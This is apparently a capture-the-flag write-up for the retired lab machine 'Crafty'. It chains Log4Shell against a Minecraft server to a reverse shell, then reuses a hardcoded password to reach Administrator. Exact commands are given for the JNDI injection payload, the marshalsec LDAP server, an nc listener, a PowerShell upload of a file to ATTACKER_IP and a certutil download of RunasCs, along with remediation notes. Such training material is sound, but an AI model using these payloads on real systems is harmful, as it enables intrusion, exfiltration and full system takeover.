Crafty
Summary
I found two services on the target: a static Microsoft IIS 10.0 website on port 80 and a Minecraft 1.16.5 game server on port 25565. Minecraft 1.16.5 ships with a Log4j library version vulnerable to Log4Shell (CVE-2021-44228), which allows unauthenticated remote code execution by injecting a JNDI lookup string into any field the server logs — including the player username.
A crafted login packet caused the server to fetch and execute a malicious Java class from my own LDAP-and-HTTP chain, delivering a reverse shell as the low-privileged service account crafty\svc_minecraft. Post-compromise enumeration of the server plugins directory surfaced a custom JAR whose decompiled source hardcoded the RCON password in plaintext.
That same password doubled as the local Administrator account's Windows logon credential. RunasCs.exe was used to execute commands under the Administrator identity, completing full system takeover.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Service scan to confirm IIS version and Minecraft protocol version.
$ nmap -sV -sC -p 80,25565 $TARGET -oN crafty_nmap.txtAdd the discovered vhost to local resolution.
$ echo "$TARGET crafty.htb" | sudo tee -a /etc/hostsConfirm the web site is static with no interactive functionality worth pursuing.
$ curl -s -i -H 'Host: crafty.htb' http://$TARGET/Exact commands 4
Clone PoC that includes a pre-built marshalsec-all.jar.
$ mkdir -p /tmp/crafty-log4j && git clone --depth 1 https://github.com/kozmer/log4j-shell-poc /tmp/log4j-shell-pocHTTP file server to deliver Exploit.class to the target JVM.
$ cd /tmp/crafty-log4j && python3 -m http.server 8000 &LDAP redirect server on port 1389 — points JNDI lookups at the class server.
$ java -cp /tmp/log4j-shell-poc/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$ATTACKER_IP:8000/#Exploit" &Ncat listener to catch the reverse shell from the target.
$ nc -lvnp 4445Exact commands 1
Custom script sending a Minecraft LOGIN_START packet with username '${jndi:ldap://$ATTACKER_IP:1389/Exploit}' to $TARGET:25565.
$ python3 send_mc_chat.pyFixUpgrade the Minecraft server to a version that is not affected by Log4Shell (CVE-2021-44228)Critical
Exact commands 2
Confirm identity — expected: crafty\svc_minecraft.
$ whoamiRead the user flag — returns <user.txt>.
$ cmd /c type C:\Users\svc_minecraft\Desktop\user.txtExact commands 2
Minimal HTTP server on port 8081 that writes the POST body to disk as playercounter.jar.
$ python3 upload.py &Run inside the reverse shell — uploads the plugin JAR to my machine.
$ powershell -NoProfile -Command "Invoke-WebRequest -Uri http://$ATTACKER_IP:8081/ -Method POST -InFile C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar -UseBasicParsing"Exact commands 2
Extract the JAR contents for decompilation.
$ mkdir -p /tmp/crafty-log4j/pc && cd /tmp/crafty-log4j/pc && unzip -q /tmp/crafty-log4j/playercounter.jarDecompile and search for the credential — returns the hardcoded string.
$ javap -classpath . -c -p -verbose htb/crafty/playercounter/Playercounter.class 2>&1 | grep -A5 -i 'rcon\|password\|s67'FixRemove hardcoded credentials from plugin source code and store secrets in configuration filesHigh
Exact commands 3
Download RunasCs.exe from my HTTP server to a world-writable temp directory.
$ cmd /c "certutil -urlcache -f http://$ATTACKER_IP:9000/RunasCs.exe C:\Windows\Temp\RunasCs.exe"Verify the credential works — expected output: crafty\administrator.
$ cmd /c "C:\Windows\Temp\RunasCs.exe Administrator $PASSWORD \"cmd /c whoami\""
crafty\administratorRead the root flag as Administrator — returns <root.txt>.
$ cmd /c "C:\Windows\Temp\RunasCs.exe Administrator $PASSWORD \"cmd /c type C:\Users\Administrator\Desktop\root.txt\""FixUse a unique, randomly generated password for every account — never reuse a service credential as a Windows logon passwordCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 25565/tcp | minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.